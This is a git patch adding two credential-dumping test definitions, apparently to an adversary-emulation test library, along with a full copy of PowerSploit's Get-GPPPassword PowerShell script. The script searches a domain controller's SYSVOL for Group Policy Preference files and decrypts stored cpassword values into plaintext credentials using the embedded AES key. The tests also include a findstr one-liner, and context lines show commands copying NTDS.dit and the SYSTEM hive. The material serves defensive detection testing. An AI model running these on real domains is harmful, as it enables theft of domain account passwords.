From 75cfe33de95de7aac263ba51aa3ab08157d1fcce Mon Sep 17 00:00:00 2001 From: Carrie Roberts Date: Wed, 4 Sep 2019 19:03:45 -0600 Subject: [PATCH] Add GPP Password test definitions (#551) * add gpp tests * error handling to work with ART * search all xml files * add verbose output * use default path relative to atomics folder --- atomics/T1003/T1003.yaml | 35 +++- atomics/T1003/src/Get-GPPPassword.ps1 | 248 ++++++++++++++++++++++++++ 2 files changed, 282 insertions(+), 1 deletion(-) create mode 100644 atomics/T1003/src/Get-GPPPassword.ps1 diff --git a/atomics/T1003/T1003.yaml b/atomics/T1003/T1003.yaml index c5df1f27..de971ef2 100644 --- a/atomics/T1003/T1003.yaml +++ b/atomics/T1003/T1003.yaml @@ -179,4 +179,37 @@ atomic_tests: command: | copy #{vsc_name}\Windows\NTDS\NTDS.dit #{extract_path}\ntds.dit copy #{vsc_name}\Windows\System32\config\SYSTEM #{extract_path}\VSC_SYSTEM_HIVE - reg save HKLM\SYSTEM #{extract_path}\SYSTEM_HIVE \ No newline at end of file + reg save HKLM\SYSTEM #{extract_path}\SYSTEM_HIVE + +- name: GPP Passwords (findstr) + description: | + Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt on Kali Linux. + + supported_platforms: + - windows + + executor: + name: command_prompt + elevation_required: false + command: | + findstr /S cpassword %logonserver%\sysvol\*.xml + +- name: GPP Passwords (Get-GPPPassword) + description: | + Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. + + supported_platforms: + - windows + + input_arguments: + gpp_script_path: + description: Path to the Get-GPPPassword PowerShell Script + type: Path + default: $PathToAtomicsFolder\T1003\src\Get-GPPPassword.ps1 + + executor: + name: powershell + elevation_required: false + command: | + . #{gpp_script_path} + Get-GPPPassword -Verbose diff --git a/atomics/T1003/src/Get-GPPPassword.ps1 b/atomics/T1003/src/Get-GPPPassword.ps1 new file mode 100644 index 00000000..c1b88c03 --- /dev/null +++ b/atomics/T1003/src/Get-GPPPassword.ps1 @@ -0,0 +1,248 @@ +function Get-GPPPassword { + <# + .SYNOPSIS + + Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. + + PowerSploit Function: Get-GPPPassword + Author: Chris Campbell (@obscuresec) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. + + .PARAMETER Server + + Specify the domain controller to search for. + Default's to the users current domain + + .EXAMPLE + + PS C:\> Get-GPPPassword + + NewName : [BLANK] + Changed : {2014-02-21 05:28:53} + Passwords : {password12} + UserNames : {test1} + File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml + + NewName : {mspresenters} + Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} + Passwords : {Recycling*3ftw!, password123, password1234} + UserNames : {Administrator (built-in), DummyAccount, dummy2} + File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml + + NewName : [BLANK] + Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52} + Passwords : {password, password1234$} + UserNames : {administrator, admin} + File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml + + NewName : [BLANK] + Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36} + Passwords : {password, read123} + UserNames : {DEMO\Administrator, admin} + File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml + + .EXAMPLE + PS C:\> Get-GPPPassword -Server EXAMPLE.COM + + NewName : [BLANK] + Changed : {2014-02-21 05:28:53} + Passwords : {password12} + UserNames : {test1} + File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml + + NewName : {mspresenters} + Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} + Passwords : {Recycling*3ftw!, password123, password1234} + UserNames : {Administrator (built-in), DummyAccount, dummy2} + File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml + + .EXAMPLE + + PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq + + password + password12 + password123 + password1234 + password1234$ + read123 + Recycling*3ftw! + + .LINK + + http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html + https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 + http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences + http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html + #> + + [CmdletBinding()] + Param ( + [ValidateNotNullOrEmpty()] + [String] + $Server = $Env:USERDNSDOMAIN + ) + + #Some XML issues between versions + Set-StrictMode -Version 2 + + #define helper function that decodes and decrypts password + function Get-DecryptedCpassword { + [CmdletBinding()] + Param ( + [string] $Cpassword + ) + + try { + #Append appropriate padding based on string length + $Mod = ($Cpassword.length % 4) + + switch ($Mod) { + '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} + '2' {$Cpassword += ('=' * (4 - $Mod))} + '3' {$Cpassword += ('=' * (4 - $Mod))} + } + + $Base64Decoded = [Convert]::FromBase64String($Cpassword) + + #Create a new AES .NET Crypto Object + $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider + [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, + 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) + + #Set IV to all nulls to prevent dynamic generation of IV value + $AesIV = New-Object Byte[]($AesObject.IV.Length) + $AesObject.IV = $AesIV + $AesObject.Key = $AesKey + $DecryptorObject = $AesObject.CreateDecryptor() + [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) + + return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) + } + + catch {Write-Error $Error[0]} + } + + #define helper function to parse fields from xml files + function Get-GPPInnerFields { + [CmdletBinding()] + Param ( + $File + ) + + try { + + $Filename = Split-Path $File -Leaf + [xml] $Xml = Get-Content ($File) + + #declare empty arrays + $Cpassword = @() + $UserName = @() + $NewName = @() + $Changed = @() + $Password = @() + + #check for password field + if ($Xml.innerxml -like "*cpassword*"){ + + Write-Verbose "Potential password in $File" + + switch ($Filename) { + + 'Groups.xml' { + $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Services.xml' { + $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Scheduledtasks.xml' { + $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'DataSources.xml' { + $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Printers.xml' { + $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + + 'Drives.xml' { + $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} + $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + } + } + + foreach ($Pass in $Cpassword) { + Write-Verbose "Decrypting $Pass" + $DecryptedPassword = Get-DecryptedCpassword $Pass + Write-Verbose "Decrypted a password of $DecryptedPassword" + #append any new passwords to array + $Password += , $DecryptedPassword + } + + #put [BLANK] in variables + if (!($Password)) {$Password = '[BLANK]'} + if (!($UserName)) {$UserName = '[BLANK]'} + if (!($Changed)) {$Changed = '[BLANK]'} + if (!($NewName)) {$NewName = '[BLANK]'} + + #Create custom object to output results + $ObjectProperties = @{'Passwords' = $Password; + 'UserNames' = $UserName; + 'Changed' = $Changed; + 'NewName' = $NewName; + 'File' = $File} + + $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties + Write-Verbose "The password is between {} and may be more than one value." + if ($ResultsObject) {Return $ResultsObject} + } + + catch {Write-Error $Error[0]} + } + + try { + #ensure that machine is domain joined and script is running as a domain account + if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { + throw 'Machine is not a domain member or User is not a member of the domain.' + } + + #discover potential files containing passwords ; not complaining in case of denied access to a directory + Write-Verbose "Searching \\$Server\SYSVOL. This could take a while." + $XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include *.xml + + if ( -not $XMlFiles ) {throw 'No preference files found.'} + + Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." + + foreach ($File in $XMLFiles) { + $Result = (Get-GppInnerFields $File.Fullname) + Write-Output $Result + } + } + + catch { Write-Error $_ } + } + \ No newline at end of file